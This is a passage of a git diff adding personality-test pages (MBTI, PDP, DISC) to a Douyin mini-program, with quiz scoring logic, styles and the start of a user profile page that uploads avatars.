flex; + align-items: center; + justify-content: center; + gap: 12rpx; + margin: 24rpx 0; + padding: 16rpx 24rpx; + background: linear-gradient(135deg, #f0f4ff 0%, #e8ecf8 100%); + border: 1rpx solid #c7d2fe; + border-radius: 12rpx; +} + +.ai-disclosure-banner.bottom { + margin-top: 16rpx; + margin-bottom: 0; +} + +.ai-disclosure-icon { + width: 44rpx; + height: 44rpx; + border-radius: 8rpx; + background: linear-gradient(135deg, #6366f1 0%, #818cf8 100%); + color: #fff; + font-size: 20rpx; + font-weight: 700; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.ai-disclosure-text { + font-size: 22rpx; + color: #4338ca; + line-height: 1.4; +} diff --git a/douyin-miniprogram/pages/test-select/index.js b/douyin-miniprogram/pages/test-select/index.js new file mode 100644 index 0000000..6808dbb --- /dev/null +++ b/douyin-miniprogram/pages/test-select/index.js @@ -0,0 +1,21 @@ +// pages/test-select/index.js - 人脸测试后的详情性格测试入口(MBTI / PDP / DISC) +Page({ + data: {}, + + onLoad() {}, + + // 进入 MBTI 测试 + goMBTI() { + tt.navigateTo({ url: '/pages/test/mbti' }) + }, + + // 进入 PDP 测试 + goPDP() { + tt.navigateTo({ url: '/pages/test/pdp' }) + }, + + // 进入 DISC 测试 + goDISC() { + tt.navigateTo({ url: '/pages/test/disc' }) + } +}) diff --git a/douyin-miniprogram/pages/test-select/index.json b/douyin-miniprogram/pages/test-select/index.json new file mode 100644 index 0000000..3f9185e --- /dev/null +++ b/douyin-miniprogram/pages/test-select/index.json @@ -0,0 +1,5 @@ +{ + "navigationBarTitleText": "详细性格测试", + "navigationBarBackgroundColor": "#FFFFFF", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/test-select/index.ttml b/douyin-miniprogram/pages/test-select/index.ttml new file mode 100644 index 0000000..1b72de9 --- /dev/null +++ b/douyin-miniprogram/pages/test-select/index.ttml @@ -0,0 +1,40 @@ + + + + 选择一项详细性格测试 + 完成问卷即可获得对应维度的专业性格报告 + + + + + 🧠 + + + MBTI 性格测试 + 16型人格 · 发现你的认知与决策风格 + + + + + + + 🦁 + + + PDP 行为偏好测试 + 老虎 / 孔雀 / 考拉 / 猫头鹰 · 行为风格 + + + + + + + 📊 + + + DISC 性格测试 + D/I/S/C 四维 · 沟通与行为倾向 + + + + diff --git a/douyin-miniprogram/pages/test-select/index.ttss b/douyin-miniprogram/pages/test-select/index.ttss new file mode 100644 index 0000000..8772159 --- /dev/null +++ b/douyin-miniprogram/pages/test-select/index.ttss @@ -0,0 +1,107 @@ +/* pages/test-select/index.wxss - 详细性格测试入口,与现有 UI 风格一致 */ +.container { + min-height: 100vh; + background: linear-gradient(180deg, #fff5f5 0%, #f5f5f5 50%, #ffffff 100%); + padding: 24rpx 24rpx 60rpx; + box-sizing: border-box; +} + +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); +} + +/* 顶部说明 */ +.intro-card { + text-align: center; + padding: 40rpx 32rpx; +} + +.intro-title { + display: block; + font-size: 34rpx; + font-weight: 700; + color: #e63946; + margin-bottom: 16rpx; +} + +.intro-desc { + display: block; + font-size: 26rpx; + color: #666; + line-height: 1.6; +} + +/* 入口卡片(与 result 页 next-btn 同色系) */ +.entry-card { + display: flex; + align-items: center; + padding: 28rpx 32rpx; + transition: opacity 0.2s; + border-radius: 16rpx; + border: 2rpx solid transparent; +} + +.entry-card:active { + opacity: 0.9; + background: linear-gradient(135deg, rgba(230, 57, 70, 0.04) 0%, rgba(255, 107, 157, 0.04) 100%); + border-color: rgba(230, 57, 70, 0.15); +} + +.entry-icon-wrap { + width: 88rpx; + height: 88rpx; + border-radius: 20rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.entry-icon-wrap.mbti { + background: linear-gradient(135deg, rgba(124, 58, 237, 0.15) 0%, rgba(139, 92, 246, 0.2) 100%); +} + +.entry-icon-wrap.pdp { + background: linear-gradient(135deg, rgba(230, 57, 70, 0.12) 0%, rgba(255, 107, 157, 0.15) 100%); +} + +.entry-icon-wrap.disc { + background: linear-gradient(135deg, rgba(59, 130, 246, 0.12) 0%, rgba(96, 165, 250, 0.18) 100%); +} + +.entry-emoji { + font-size: 44rpx; +} + +.entry-content { + flex: 1; + min-width: 0; +} + +.entry-name { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #333; + margin-bottom: 8rpx; +} + +.entry-brief { + display: block; + font-size: 24rpx; + color: #888; + line-height: 1.4; +} + +.entry-arrow { + font-size: 32rpx; + color: #e63946; + font-weight: 600; + margin-left: 16rpx; + flex-shrink: 0; +} diff --git a/douyin-miniprogram/pages/test/disc.js b/douyin-miniprogram/pages/test/disc.js new file mode 100644 index 0000000..20590cb --- /dev/null +++ b/douyin-miniprogram/pages/test/disc.js @@ -0,0 +1,134 @@ +// pages/test/disc.js +const { discQuestions, shuffleQuestions } = require('../../utils/questions') +const { discDescriptions } = require('../../utils/descriptions') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: discQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 15 * 60, + formatTime: '15:00', + isSubmitting: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(discQuestions) + this.setData({ questions, currentQuestion: questions[0] }) + this.startTimer() + }, + + onUnload() { + if (this.timer) clearInterval(this.timer) + }, + + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const scores = { D: 0, I: 0, S: 0, C: 0 } + Object.values(this.data.answers).forEach(value => { + if (scores.hasOwnProperty(value)) scores[value]++ + }) + + const total = Object.values(scores).reduce((sum, v) => sum + v, 0) + const percentages = { + D: Math.round((scores.D / total) * 100), + I: Math.round((scores.I / total) * 100), + S: Math.round((scores.S / total) * 100), + C: Math.round((scores.C / total) * 100) + } + + const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] + const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] + + const resultData = { + scores, + percentages, + dominantType, + secondaryType, + description: discDescriptions[dominantType], + testDuration: 15 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + // 便于后端留存完整答题过程 + answers: this.data.answers + } + + // 本地缓存 + 全局缓存 + tt.setStorageSync('discResult', resultData) + if (app && typeof app.saveTestResult === 'function') { + app.saveTestResult('disc', resultData) + } + + tt.redirectTo({ url: '/pages/result/disc' }) + } +}) diff --git a/douyin-miniprogram/pages/test/disc.json b/douyin-miniprogram/pages/test/disc.json new file mode 100644 index 0000000..65ae751 --- /dev/null +++ b/douyin-miniprogram/pages/test/disc.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "DISC测试", + "navigationBarBackgroundColor": "#3B82F6", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/test/disc.ttml b/douyin-miniprogram/pages/test/disc.ttml new file mode 100644 index 0000000..09fe7ca --- /dev/null +++ b/douyin-miniprogram/pages/test/disc.ttml @@ -0,0 +1,48 @@ + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/douyin-miniprogram/pages/test/disc.ttss b/douyin-miniprogram/pages/test/disc.ttss new file mode 100644 index 0000000..629c75c --- /dev/null +++ b/douyin-miniprogram/pages/test/disc.ttss @@ -0,0 +1,172 @@ +/* pages/test/disc.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + background: #fff; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(59, 130, 246, 0.1); + border-color: #3B82F6; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.radio-button.checked { + background-color: #3B82F6; + border-color: #3B82F6; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #3B82F6; +} + +.nav-button.secondary .button-text { + color: #3B82F6; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #3B82F6 0%, #60a5fa 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/douyin-miniprogram/pages/test/mbti.js b/douyin-miniprogram/pages/test/mbti.js new file mode 100644 index 0000000..29d8e6a --- /dev/null +++ b/douyin-miniprogram/pages/test/mbti.js @@ -0,0 +1,180 @@ +// pages/test/mbti.js - MBTI测试页面逻辑 +const { mbtiQuestions, shuffleQuestions } = require('../../utils/questions') +const { mbtiDescriptions } = require('../../utils/descriptions') +const payment = require('../../utils/payment') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: mbtiQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 30 * 60, // 30分钟 + formatTime: '30:00', + isSubmitting: false, + canAccess: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(mbtiQuestions) + this.setData({ + questions, + currentQuestion: questions[0], + canAccess: true + }) + this.startTimer() + }, + + // 检查访问权限 + checkAccess() { + // 当前策略:所有测试免费开放,直接允许访问 + // 若后续恢复收费,可重新启用 payment.canTakeTest 等校验逻辑 + return true + }, + + onUnload() { + if (this.timer) { + clearInterval(this.timer) + } + }, + + // 启动计时器 + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + // 选择答案 + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + // 自动跳转下一题 + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + // 上一题 + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + // 下一题 + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + // 提交测试 + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const result = this.calculateResult() + + // 保存结果 + const resultData = { + ...result, + testDuration: 30 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + timestamp: new Date().toISOString() + } + tt.setStorageSync('mbtiResult', resultData) + app.saveTestResult('mbti', resultData) + + // 跳转到结果页 + tt.redirectTo({ + url: '/pages/result/mbti' + }) + }, + + // 计算MBTI结果 + calculateResult() { + const answers = this.data.answers + const scores = { E: 0, I: 0, S: 0, N: 0, T: 0, F: 0, J: 0, P: 0 } + + // 统计各维度得分 + Object.values(answers).forEach(value => { + if (scores.hasOwnProperty(value)) { + scores[value]++ + } + }) + + // 确定MBTI类型 + const mbtiType = [ + scores.E >= scores.I ? 'E' : 'I', + scores.S >= scores.N ? 'S' : 'N', + scores.T >= scores.F ? 'T' : 'F', + scores.J >= scores.P ? 'J' : 'P' + ].join('') + + // 计算各维度百分比 + const dimensionScores = { + EI: { E: scores.E, I: scores.I, dominant: scores.E >= scores.I ? 'E' : 'I', percentage: Math.round((Math.max(scores.E, scores.I) / (scores.E + scores.I)) * 100) }, + SN: { S: scores.S, N: scores.N, dominant: scores.S >= scores.N ? 'S' : 'N', percentage: Math.round((Math.max(scores.S, scores.N) / (scores.S + scores.N)) * 100) }, + TF: { T: scores.T, F: scores.F, dominant: scores.T >= scores.F ? 'T' : 'F', percentage: Math.round((Math.max(scores.T, scores.F) / (scores.T + scores.F)) * 100) }, + JP: { J: scores.J, P: scores.P, dominant: scores.J >= scores.P ? 'J' : 'P', percentage: Math.round((Math.max(scores.J, scores.P) / (scores.J + scores.P)) * 100) } + } + + // 计算置信度 + const confidence = Math.round( + (dimensionScores.EI.percentage + dimensionScores.SN.percentage + + dimensionScores.TF.percentage + dimensionScores.JP.percentage) / 4 + ) + + return { + mbtiType, + scores, + dimensionScores, + confidence, + description: mbtiDescriptions[mbtiType] || {} + } + } +}) diff --git a/douyin-miniprogram/pages/test/mbti.json b/douyin-miniprogram/pages/test/mbti.json new file mode 100644 index 0000000..4c51ce2 --- /dev/null +++ b/douyin-miniprogram/pages/test/mbti.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "MBTI测试", + "navigationBarBackgroundColor": "#FF6B8A", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/test/mbti.ttml b/douyin-miniprogram/pages/test/mbti.ttml new file mode 100644 index 0000000..77c6220 --- /dev/null +++ b/douyin-miniprogram/pages/test/mbti.ttml @@ -0,0 +1,48 @@ + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/douyin-miniprogram/pages/test/mbti.ttss b/douyin-miniprogram/pages/test/mbti.ttss new file mode 100644 index 0000000..d3dd6f8 --- /dev/null +++ b/douyin-miniprogram/pages/test/mbti.ttss @@ -0,0 +1,172 @@ +/* pages/test/mbti.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(255, 107, 138, 0.12); + border-color: #FF6B8A; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; + transition: all 0.3s ease; +} + +.radio-button.checked { + background-color: #FF6B8A; + border-color: #FF6B8A; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #FF6B8A; +} + +.nav-button.secondary .button-text { + color: #FF6B8A; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/douyin-miniprogram/pages/test/pdp.js b/douyin-miniprogram/pages/test/pdp.js new file mode 100644 index 0000000..89e3e7e --- /dev/null +++ b/douyin-miniprogram/pages/test/pdp.js @@ -0,0 +1,137 @@ +// pages/test/pdp.js +const { pdpQuestions, shuffleQuestions } = require('../../utils/questions') +const { pdpDescriptions } = require('../../utils/descriptions') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: pdpQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 15 * 60, + formatTime: '15:00', + isSubmitting: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(pdpQuestions) + this.setData({ questions, currentQuestion: questions[0] }) + this.startTimer() + }, + + onUnload() { + if (this.timer) clearInterval(this.timer) + }, + + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + getEmoji(value) { + const emojis = { Tiger: '🐅', Peacock: '🦚', Koala: '🐨', Owl: '🦉', Chameleon: '🦎' } + return emojis[value] || '🔹' + }, + + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const scores = { Tiger: 0, Peacock: 0, Koala: 0, Owl: 0, Chameleon: 0 } + Object.values(this.data.answers).forEach(value => { + if (scores.hasOwnProperty(value)) scores[value]++ + }) + + const total = Object.values(scores).reduce((sum, v) => sum + v, 0) + const percentages = {} + Object.keys(scores).forEach(key => { + percentages[key] = Math.round((scores[key] / total) * 100) + }) + + const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] + const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] + + const resultData = { + scores, + percentages, + dominantType, + secondaryType, + description: pdpDescriptions[dominantType], + testDuration: 15 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + // 便于后端留存完整答题过程 + answers: this.data.answers + } + + // 本地缓存 + 全局缓存 + tt.setStorageSync('pdpResult', resultData) + if (app && typeof app.saveTestResult === 'function') { + app.saveTestResult('pdp', resultData) + } + + tt.redirectTo({ url: '/pages/result/pdp' }) + } +}) diff --git a/douyin-miniprogram/pages/test/pdp.json b/douyin-miniprogram/pages/test/pdp.json new file mode 100644 index 0000000..a1bbe47 --- /dev/null +++ b/douyin-miniprogram/pages/test/pdp.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "PDP测试", + "navigationBarBackgroundColor": "#F59E0B", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/douyin-miniprogram/pages/test/pdp.ttml b/douyin-miniprogram/pages/test/pdp.ttml new file mode 100644 index 0000000..d8e215c --- /dev/null +++ b/douyin-miniprogram/pages/test/pdp.ttml @@ -0,0 +1,48 @@ + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/douyin-miniprogram/pages/test/pdp.ttss b/douyin-miniprogram/pages/test/pdp.ttss new file mode 100644 index 0000000..4db77fd --- /dev/null +++ b/douyin-miniprogram/pages/test/pdp.ttss @@ -0,0 +1,171 @@ +/* pages/test/pdp.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(245, 158, 11, 0.12); + border-color: #F59E0B; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.radio-button.checked { + background-color: #F59E0B; + border-color: #F59E0B; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #F59E0B; +} + +.nav-button.secondary .button-text { + color: #F59E0B; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/douyin-miniprogram/pages/user-profile/index.js b/douyin-miniprogram/pages/user-profile/index.js new file mode 100644 index 0000000..d437fb6 --- /dev/null +++ b/douyin-miniprogram/pages/user-profile/index.js @@ -0,0 +1,205 @@ +// pages/user-profile/index.js - 个人资料页 +const app = getApp() +const { request } = require('../../utils/request') +const { bindPhoneByCode } = require('../../utils/phoneAuth') + +Page({ + data: { + userInfo: null, + nickname: '', + avatar: '', + birthday: '', + gender: 0, + genderIndex: 0, + genderText: '', + genderOptions: ['保密', '男', '女'], + phone: '', + avatarLetter: '我', + avatarBgColor: '#6366f1', + nicknameFocused: false, + saving: false + }, + + onLoad() { + this.loadUserInfo() + }, + + onShow() { + // 从其他页返回时刷新 + if (app.globalData.userInfo) { + this.loadUserInfo() + } + }, + + loadUserInfo() { + const userInfo = app.globalData.userInfo || tt.getStorageSync('userInfo') + if (!userInfo) { + tt.showToast({ title: '请先登录', icon: 'none' }) + setTimeout(() => tt.navigateBack(), 1500) + return + } + + const nickname = (userInfo.nickname || userInfo.nickName || '').trim() + const avatar = userInfo.avatar || userInfo.avatarUrl || '' + const birthday = userInfo.birthday || '' + const gender = (userInfo.gender !== undefined && userInfo.gender !== null) ? Number(userInfo.gender) : 0 + const genderText = this._genderText(gender) + const genderIndex = Math.min(Math.max(0, gender), 2) + const phone = userInfo.phone || '' + + const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') + + this.setData({ + userInfo, + nickname, + avatar, + birthday, + gender, + genderIndex, + genderText, + phone, + avatarLetter, + avatarBgColor + }) + }, + + _genderText(g) { + const map = { 0: '保密', 1: '男', 2: '女' } + return map[g] || '保密' + }, + + _avatarFromNickname(name) { + const str = (name && String(name).trim()) || '我' + const letter = str.charAt(0).toUpperCase() || '我' + const palette = ['#6366f1', '#8b5cf6', '#ec4899', '#f43f5e', '#14b8a6', '#0ea5e9', '#3b82f6', '#eab308'] + let hash = 0 + for (let i = 0; i < str.length; i++) hash += str.charCodeAt(i) + const bgColor = palette[Math.abs(hash) % palette.length] + return { avatarLetter: letter, avatarBgColor: bgColor } + }, + + onChooseAvatar(e) { + const { avatarUrl } = e.detail + if (!avatarUrl || !app.globalData.token) { + tt.showToast({ title: '请先登录', icon: 'none' }) + return + } + tt.showLoading({ title: '上传中...' }) + const token = app.globalData.token + const apiBase = app.globalData.apiBase + tt.uploadFile({ + url: `${apiBase}/api/upload/image`, + filePath: avatarUrl, + name: 'file', + header: { 'Authorization': `Bearer ${token}` }, + success: (res) => { + const data = res.data + let json = {} + try { json = typeof data === 'string' ? JSON.parse(data) : data } catch (_) {} + if (json.code === 200 && json.data && json.data.url) { + const avatar = json.data.url + this.setData({ avatar }) + this._saveProfile({ avatar }) + } else { + tt.hideLoading() + tt.showToast({ title: json.message || '上传失败', icon: 'none' }) + } + }, + 